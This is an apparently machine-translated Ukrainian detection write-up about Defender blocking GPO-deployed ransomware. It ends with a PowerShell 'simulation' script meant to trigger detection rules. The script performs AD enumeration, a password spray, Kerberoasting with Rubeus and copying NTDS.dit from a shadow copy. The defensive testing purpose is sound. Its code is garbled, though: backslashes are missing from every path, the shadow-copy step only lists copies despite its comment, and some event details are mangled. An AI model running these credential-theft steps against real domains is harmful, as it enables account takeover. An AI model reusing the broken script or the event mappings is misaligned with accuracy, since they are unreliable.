Кейс: Як Захисний Щит Системи Захисту Блокував Рансомware на Основі GPO до Виконання

Резюме

Microsoft Defender перервав атаку програми-вимагача, керовану людиною, спрямовану на велику освітню організацію, виявивши зловживання Об’єктами групової політики (GPO), які використовувалися для ослаблення налаштувань безпеки та розповсюдження програми-вимагача через заплановані завдання.

Розслідування

Атакуючі скомпрометували обліковий запис адміністратора домену, здійснили перерахування Active Directory, перебрали облікові дані, зібрали квитки Kerberos і дані NTDS, створили шахрайські локальні облікові записи та розгорнули шкідливі GPO, щоб реалізувати політику підробки та ініціювати доставку програми-вимагача через заплановані завдання.

Пом’якшення

Захисний екран Defender передбачив шкідливу активність GPO, забезпечивши тимчасове посилення GPO, заблокувавши розгортання програми-вимагача через заплановані завдання та запобігши шифруванню на 97% пристроїв.

Відповідь

Після виявлення захисники повинні негайно активувати посилення GPO, ізолювати скомпрометовані облікові записи, заблокувати підозрілий SMB-трафік та розслідувати наявність додаткових методів стійкості, включаючи несанкціоноване створення локальних облікових записів.

Виконання симуляції

Передумова: Перевірка телеметрії та базового стану повинна пройти.

Обґрунтування: Цей розділ описує точне виконання техніки супротивника (TTP), розробленої для тригеру правила виявлення. Команди і розповідь повинні безпосередньо відображати ідентифіковані TTP і націлені на генерацію точної телеметрії, що очікується логікою виявлення.

Опис атаки та команди

1. Перерахування Active Directory за допомогою ADExplorer – Атакуючий використовує утиліту living‑off‑the‑land ADExplorer.exe для перегляду бази даних AD, генеруючи подію створення процесу, що відповідає Образ | закінчується на 'ADExplorer.exe'.

2. Брутфорс облікових даних (T1110) – Атакуючий виконує спрей паролями проти облікового запису домену, спричиняючи повторні невдалі спроби входу (Подія 4625) з причиною збою %#13 (“Користувач намагався увійти з ненадійного домену”).

3. Kerberoasting (T1558.003) – Використовуючи відкритий вихідний код інструмент Rubeus, атакуючий запитує квитки на обслуговування Kerberos для SPN комп’ютерних облікових записів (наприклад, HOST01$). Кожен запит отримує Подію 4769 де Ім'я сервісу закінчується на $.

4. Скид NTDS (T1003.003) – Атакуючий створює копію тіні обсягу системного диска та витягує NTDS.dit за допомогою ntdsutil, спричиняючи подію 4662 з Тип об'єкта = "ds" and Тип операції = "Реплікація".

Усі чотири дії виконуються на одному хості протягом 5-хвилинного вікна для емулювання реалістичної фази “збір” після компрометації.

Скрипт регресійного тестування

# -------------------------------------------------
# Симуляційний скрипт – Тригерить всі чотири шляхи виявлення
# -------------------------------------------------

# 1. Виконання ADExplorer (створення процесу)
$adExplorerPath = "$env:ProgramFilesSysinternalsADExplorer.exe"
if (-Not (Test-Path $adExplorerPath)) {
    Write-Host "ADExplorer не знайдено – завантажити заповнювач для тестування."
    # Імітувати шляхом копіювання будь-якого exe на ім'я, що очікується
    Copy-Item "$env:SystemRootSystem32notepad.exe" $adExplorerPath
}
Start-Process -FilePath $adExplorerPath -ArgumentList "/quiet" -WindowStyle Hidden
Start-Sleep -Seconds 5

# 2. Брутфорс спроби входу (4625 з %#13)
$domain = "CONTOSO"
$user   = "testuser"
$badPwd = "IncorrectPassword123!"
1..3 | ForEach-Object {
    $null = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('Domain', $domain).ValidateCredentials($user, $badPwd)
    Start-Sleep -Milliseconds 500
}

# 3. Kerberoasting через Rubeus (вимагає Rubeus.exe у PATH)
$rubeusPath = "$env:ProgramFilesRubeusRubeus.exe"
if (-Not (Test-Path $rubeusPath)) {
    Write-Host "Rubeus не знайдено – пропустити крок Kerberoasting."
} else {
    & $rubeusPath kerberoast /outfile:"C:Tempkerb_tickets.kirbi"
}
Start-Sleep -Seconds 5

# 4. Витяг NTDS.dit за допомогою VSS (4662 реплікація)
# Створення копії VSS тіні та копіювання NTDS.dit
$shadow = (vssadmin list shadows | Select-String -Pattern "ShadowCopy Volume" -Context 0,1).Line.Split()[-1]
$ntdsSource = "$shadowWindowsNTDSNTDS.dit"
$ntdsDest   = "C:TempNTDS_dump.dit"
if (Test-Path $ntdsSource) {
    Copy-Item -Path $ntdsSource -Destination $ntdsDest -Force
}
Start-Sleep -Seconds 5

Write-Host "Симуляція завершена. Уся телеметрія повинна бути зібрана."

Команди очищення

# -------------------------------------------------
# Очищення – видаляє артефакти, створені симуляцією
# -------------------------------------------------

# Видалити фальшивий ADExplorer, якщо він був створений
Remove-Item -Path "$env:ProgramFilesSysinternalsADExplorer.exe" -ErrorAction SilentlyContinue

# Видалити дамп Kerberos
Remove-Item -Path "C:Tempkerb_tickets.kirbi" -ErrorAction SilentlyContinue

# Видалити кладичку NTDS
Remove-Item -Path "C:TempNTDS_dump.dit" -ErrorAction SilentlyContinue

# Очистити будь-які створені тіньові копії (вимагає адміністратора)
# vssadmin delete shadows /all /quiet

Write-Host "Очищення завершено."